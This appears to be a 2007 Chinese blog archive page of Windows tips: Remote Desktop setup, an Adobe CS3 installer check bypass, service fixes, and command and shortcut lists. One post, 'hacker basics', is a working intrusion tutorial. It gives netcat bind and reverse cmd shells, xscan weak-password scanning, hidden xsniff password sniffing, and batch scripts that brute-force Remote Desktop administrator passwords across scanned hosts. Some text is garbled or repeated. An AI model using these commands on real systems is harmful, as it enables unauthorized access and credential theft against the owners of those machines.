日志分类:系统集成|病毒安全

打开Windows 2003远程桌面连接服务的方法

2007-12-27,星期四 | 分类:系统集成|病毒安全 | 311 views
打开Windows 2003远程桌面连接的方法(如果设置已经是步骤中的结果,则可跳过)
1、HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections将其值改为0
2、打开组策略(运行gpedit.msc)→计算机配置→管理模板→Windows组件→终端服务下面的允许用户使用终端服务远程连接,设置为已启用。
3、打开服务窗口(运行services.msc),找到Terminal Services,打开其属性窗口,在常规选项卡中,将其启动类型设置为自动,然后点启动即可。

Adobe CS3在Windows 2003 SP2中安装的方法

2007-12-01,星期六 | 分类:系统集成|病毒安全 | 218 views

方法一(未试验):

找到payloads\AdobePhotoshop10en_US_volume\AdobePhotoshop10en_US_volume.proxy.xml
用记事本之类的文本编辑器打开,搜索Vista,找到后,把前面的Server2003之间加一个空格,变成Server 2003,试一下,看看是不是能安装了?

方法二(已验证可行):

如果你下载的是1.74G版本的Adobe Creative Suite 3 Design Premium,释放exe文件后,将释放文件Adobe CS3 \ WinBootstrapper1.cab中的所有文件提取出来(可以用WinRAR解压),找到_11_1c3517d600d57b2021fc5e7402e13a8e,用记事本打开,把
else if (validOSServer2003)
     currentWinOSVariantName = "Server2003";
修改为
else if (validOSServer2003)
     currentWinOSVariantName = "XP";
保存即可。
注意:原文件是只读的,必须先取消该文件的只读属性。
然后用C:\WINDOWS\system32中的iexpress.exe工具,压缩成CAB文件,替换原来的WinBootstrapper1.cab。(请先备份原文件)
不会修改的可以直接下载我修改的这个文件来覆盖,请确认你的是1.74G的Adobe Creative Suite 3 Design Premium,其他版本我没有测试。
方法三(未试验):

打开文件释放地址例如C:/Documents and Settings/Administrator/桌面/Adobe CS3/Photoshop/Adobe CS3,修改WinBootstrapper1.cab里面的_3_0251e939162c3b0650d03a8085c08d79文件。把
<input id="locBtnQuit" locid="locBtnQuit" type="button" value="Cancel" onclick="gWizardControl.NavCancel();" onfocus="gWizardControl.SetFocus(this);" onblur="gWizardControl.HandleBlur();"/>
修改为
<input id="locBtnQuit" locid="locBtnQuit" type="button" value="Cancel" onclick="gWizardControl.NavNext();" onfocus="gWizardControl.SetFocus(this);" onblur="gWizardControl.HandleBlur();"/>
然后运行Setup.exe,当到System Check的时候按取消,就会自动跳过下一步。

Distributed Transaction Coordinator 服务无法启动解决方案(MSDTC)

2007-11-07,星期三 | 分类:系统集成|病毒安全 | 177 views

Distributed Transaction Coordinator 服务无法启动解决方案

要安装消息队列组件,可是发现我的Distributed Transaction Coordinator(MSDTC)服务启动不了,
一 启动就提示“windows 不能在 本地计算机启动 Distributed Transaction Coordinator .有关更多信息,查阅系统事件日志。如果这是非 Microsoft 服务,请与厂商联系,并参考特定服务错误代码 -1073337669”

1,Distributed Transaction Coordinator服务依存于 Remote Procedure Call(RPC)和 Security Accounts Manager这两个服务。
在“控制面板”里点“管理工具”,点“服务”,确认这两个服务属性已经设为自动,并且已经启动。

2,在命令提示符里输入
msdtc -resetlog

然后就可以启动该服务了。

(原)局域网能访问共享,不能访问电脑名或IP

2007-09-20,星期四 | 分类:系统集成|病毒安全 | 273 views

如:电脑名:ComputerName   IP:192.168.0.1 共享名:share

可以访问 \\ComputerName\share\\192.168.0.1\share 但不能访问 \\CopputerName\\192.168.0.1

解决办法:

在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA   
把这两个键值都改成0:Restrictanonymous,forceguest

如何使用Office2003来打开Docx、xlsb、xlsx等文件

2007-08-10,星期五 | 分类:系统集成|病毒安全 | 275 views

office 2003打开2007版本的Docx文件,全是乱码。只需要安装一个补丁即可,名称为O2007Cnv.exe,链接为:http://download.microsoft.com/download/6/9/E/69EA942D-4636-4350-A526-0BFD9771A12A/O2007Cnv.exe

注意安装之后重启机器,问题基本就解决了,现在就可以识别出docx、docm格式的Word 2007文档,pptx、pptm、potx、potm、ppsx、ppsm格式的PowerPoint 2007文档,xlsb、xlsx、xlsm、xltx、xltm格式的Excel 2007文档等。

windows控制台命令&快捷键

2007-06-07,星期四 | 分类:系统集成|病毒安全 | 140 views
windows控制台命令 大集合
开始→运行→命令 集锦
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构(WMI)
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板
winmsd———系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕“讲述人”
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-垃圾整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略
Windows快捷键大全
一、常见用法:
F1           显示当前程序或者windows的帮助内容。
F2           当你选中一个文件的话,这意味着“重命名”
F3           当你在桌面上的时候是打开“查找:所有文件” 对话框
F10或ALT        激活当前程序的菜单栏
windows键或CTRL+ESC   打开开始菜单
CTRL+ALT+DELETE     在win9x中打开关闭程序对话框
DELETE         删除被选择的选择项目,如果是文件,将被放入回收站
SHIFT+DELETE      删除被选择的选择项目,如果是文件,将被直接删除而不是放入回收站
CTRL+N         新建一个新的文件
CTRL+O         打开“打开文件”对话框
CTRL+P         打开“打印”对话框
CTRL+S         保存当前操作的文件
CTRL+X         剪切被选择的项目到剪贴板
CTRL+INSERT 或 CTRL+C  复制被选择的项目到剪贴板
SHIFT+INSERT 或 CTRL+V 粘贴剪贴板中的内容到当前位置
ALT+BACKSPACE 或 CTRL+Z 撤销上一步的操作
ALT+SHIFT+BACKSPACE   重做上一步怀废 牟僮?br> 
Windows键+M       最小化所有被打开的窗口。
Windows键+CTRL+M    重新将恢复上一项操作前窗口的大小和位置
Windows键+E       打开资源管理器
Windows键+F       打开“查找:所有文件”对话框
Windows键+R       打开“运行”对话框
Windows键+BREAK     打开“系统属性”对话框
Windows键+CTRL+F    打开“查找:计算机”对话框
SHIFT+F10或鼠标右击   打开当前活动项目的快捷菜单
SHIFT          在放入CD的时候按下不放,可以跳过自动播放CD。在打开word的时候按下不放,可以跳过自启动的宏
 
ALT+F4         关闭当前应用程序
ALT+SPACEBAR      打开程序最左上角的菜单
ALT+TAB         切换当前程序
ALT+ESC         切换当前程序
ALT+ENTER        将windows下运行的MSDOS窗口在窗口和全屏幕状态间切换
PRINT SCREEN      将当前屏幕以图象方式拷贝到剪贴板
ALT+PRINT SCREEN    将当前活动程序窗口以图象方式拷贝到剪贴板
CTRL+F4         关闭当前应用程序中的当前文本(如word中)
CTRL+F6         切换到当前应用程序中的下一个文本(加shift 可以跳到前一个窗口)
在IE中:
ALT+RIGHT ARROW     显示前一页(前进键)
ALT+LEFT ARROW     显示后一页(后退键)
CTRL+TAB        在页面上的各框架中切换(加shift反向)
F5           刷新
CTRL+F5         强行刷新
 
  目的快捷键
  激活程序中的菜单栏 F10
  执行菜单上相应的命令 ALT+菜单上带下划线的字母
  关闭多文档界面程序中的当
  前窗口 CTRL+ F4
  关闭当前窗口或退出程序 ALT+ F4
  复制 CTRL+ C
  剪切 CTRL+ X
  删除 DELETE
  显示所选对话框项目的帮助 F1
  显示当前窗口的系统菜单 ALT+空格键
  显示所选项目的快捷菜单 SHIFT+ F10
  显示“开始”菜单 CTRL+ ESC
  显示多文档界面程序的系统
  菜单 ALT+连字号(-)
  粘贴 CTR L+ V
  切换到上次使用的窗口或者
  按住 ALT然后重复按TAB,
  切换到另一个窗口 ALT+ TAB
  撤消 CTRL+ Z
二、使用“Windows资源管理器”的快捷键
  目的快捷键
  如果当前选择展开了,要折
  叠或者选择父文件夹左箭头
  折叠所选的文件夹 NUM LOCK+负号(-)
  如果当前选择折叠了,要展开
  或者选择第一个子文件夹右箭头
  展开当前选择下的所有文件夹 NUM LOCK+*
  展开所选的文件夹 NUM LOCK+加号(+)
  在左右窗格间切换 F6
三、使用 WINDOWS键
  可以使用 Microsoft自然键盘或含有 Windows徽标键的其他任何兼容键盘的以下快捷键。
  目的快捷键
  在任务栏上的按钮间循环 WINDOWS+ TAB
  显示“查找:所有文件” WINDOWS+ F
  显示“查找:计算机” CTRL+ WINDOWS+ F
  显示“帮助” WINDOWS+ F1
  显示“运行”命令 WINDOWS+ R
  显示“开始”菜单 WINDOWS
  显示“系统属性”对话框 WINDOWS+ BREAK
  显示“Windows资源管理器” WINDOWS+ E
  最小化或还原所有窗口 WINDOWS+ D
  撤消最小化所有窗口 SHIFT+ WINDOWS+ M
四、使用“我的电脑”和“Windows资源管理器”的快捷键
  目的快捷键
  关闭所选文件夹及其所有父
  文件夹按住 SHIFT键再单击“关闭按钮(仅适用于“我的电脑”)
  向后移动到上一个视图 ALT+左箭头
  向前移动到上一个视图 ALT+右箭头
  查看上一级文件夹 BACKSPACE
五、使用对话框中的快捷键
  目的快捷键
  取消当前任务 ESC
  如果当前控件是个按钮,要
  单击该按钮或者如果当前控
  件是个复选框,要选择或清
  除该复选框或者如果当前控
  件是个选项按钮,要单击该
  选项空格键
  单击相应的命令 ALT+带下划线的字母
  单击所选按钮 ENTER
  在选项上向后移动 SHIFT+ TAB
  在选项卡上向后移动 CTRL+ SHIFT+ TAB
  在选项上向前移动 TAB
  在选项卡上向前移动 CTRL+ TAB
  如果在“另存为”或“打开”
  对话框中选择了某文件夹,
  要打开上一级文件夹 BACKSPACE
  在“另存为”或“打开”对
  话框中打开“保存到”或
  “查阅” F4
  刷新“另存为”或“打开”
  对话框 F5
六、使用“桌面”、“我的电脑”和“Windows资源管理器”快捷键
  选择项目时,可以使用以下快捷键。
  目的快捷键
  插入光盘时不用“自动播放”
  功能按住 SHIFT插入 CD-ROM
  复制文件按住 CTRL拖动文件
  创建快捷方式按住 CTRL+SHIFT拖动文件
  立即删除某项目而不将其放入 SHIFT+DELETE
  “回收站”
  显示“查找:所有文件” F3
  显示项目的快捷菜单 APPLICATION键
  刷新窗口的内容 F5
  重命名项目 F2
  选择所有项目 CTRL+ A
  查看项目的属性 ALT+ ENTER或 ALT+双击
  可将 APPLICATION键用于 Microsoft自然键盘或含有 APPLICATION键的其他兼容键
七、Microsoft放大程序的快捷键
  这里运用Windows徽标键和其他键的组合。
  快捷键目的
  Windows徽标+PRINT SCREEN将屏幕复制到剪贴板(包括鼠标光标)
  Windows徽标+SCROLL LOCK将屏幕复制到剪贴板(不包括鼠标光标)
  Windows徽标+ PAGE UP切换反色。
  Windows徽标+ PAGE DOWN切换跟随鼠标光标
  Windows徽标+向上箭头增加放大率
  Windows徽标+向下箭头减小放大率
 
八、使用辅助选项快捷键
  目的快捷键
  切换筛选键开关右SHIFT八秒
  切换高对比度开关左ALT+左SHIFT+PRINT SCREEN
  切换鼠标键开关左ALT+左SHIFT+NUM LOCK
  切换粘滞键开关 SHIFT键五次
  切换切换键开关 NUM LOCK五秒

(原)用VISTA ISO 文件恢复XP/VISTA 双启动菜单

2007-06-06,星期三 | 分类:系统集成|病毒安全 | 197 views

VISTA ISO 文件修复XP/VISTA 双启动菜单(转载请注明出处 www.vicmiao.com)

真是高兴,难得在股市大盘大跌的情况下还能高兴起来,因为在这几天摸索,终于把VISTA 的启动菜单找回来了。我的WINDOWS XP 系统装在C盘,VISTA 装在D盘,后来用GHOST恢复了XP,VISTA就进不去了。在网上找了一些资料用bootsect /nt60 SYS 等一些命令,全部没用,还把XP搞的不能启动(这里可以用控制台命令FIXBOOT修复,不用重新安装XP)。原理就是用VISTA安装盘引导修改,再用VistaBootPRO添加XP菜单,具体如下:

准备工作:

1Avlgomgr ISO引导系统,如果有DVDVISTA 光盘,就可以不用这个。

点击打开下载页面>>

2VistaBootPRO_3.1.0. 当恢复VISTA菜单后会丢失XP启动菜单,用这个添加XP菜单

点击打开下载页面>>

3。把VISTA ISO 文件放在一个FAT32分区上(NTFS没有试过)

开始工作:

1. 设置Avlgomgr(按照下面的图设置就可以了)

2. 重新重动电脑,在启动菜单中选择 “Avlgo – VISTA.iso”

3. 进去后先择安装,再点系统恢复选项,一直点下一步,这里VISTA会自动查找问题并修复,有可能会重启电脑,VISTA 启动菜单还没有出来,再选择“Avlgo – VISTA.iso”进入会出现 恢复工具,选择第一项 启动修复。修复完重启,就OK了,但没有了XP启动菜单。别慌。

4. 进入VISTA 安装 VistaBootPRO

图片如果看不到:http://hi.baidu.com/hn123/album/item/3aab4f08e84c10930a7b829f.html
按照序号选择就可以了。启动电脑两个菜单都有了。

黑客基础之DOS

2007-05-22,星期二 | 分类:系统集成|病毒安全 | 129 views

系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C  
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
     基本用法:
nc -nvv 192.168.0.1 80   连接到192.168.0.1主机的80端口
nc -l -p 80   开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024   扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe   绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80   作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt   作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt  
nc -L -p 80 < c:\honeyport.txt   作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80   作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称   传送文件到对方主机
备   注:
| 管道命令
<     或     > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  >指:覆盖;>>指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。     
   
2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]   扫锚起始IP到终止IP段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项]   扫锚主机IP列表文件名中的所有主机信息
检测项目
-active   检测主机是否存活
-os   检测远程操作系统类型(通过NETBIOS和SNMP协议)  
-port   检测常用服务的端口状态  
-ftp 检测FTP弱口令  
-pub   检测FTP服务匿名用户写权限  
-pop3 检测POP3-Server弱口令  
-smtp 检测SMTP-Server漏洞  
-sql   检测SQL-Server弱口令  
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi   检测CGI漏洞
-nasl   加载Nessus攻击脚本  
-all   检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过-l参数获取  
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机  
-o   跳过没有检测到开放端口的主机  
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10  
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)  
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o   检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机  
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报  
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名  
-addr IP地址 过滤IP地址
-port 端口 过滤端口  
-log 文件名 将输出保存到文件  
-asc 以ASCII形式输出
-hex 以16进制形式输出  
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中  
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出  

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic   远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456   用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f tokens=1 delims= %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \\IP地址 t:20   20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn   当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP   把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口   (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。     
   
6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.
:计算机运行命令全集 winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板winmsd—–系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕讲述人
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-垃圾整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略

批处理文件

2007-05-17,星期四 | 分类:系统集成|病毒安全 | 108 views

一、什么叫做批处理文件?
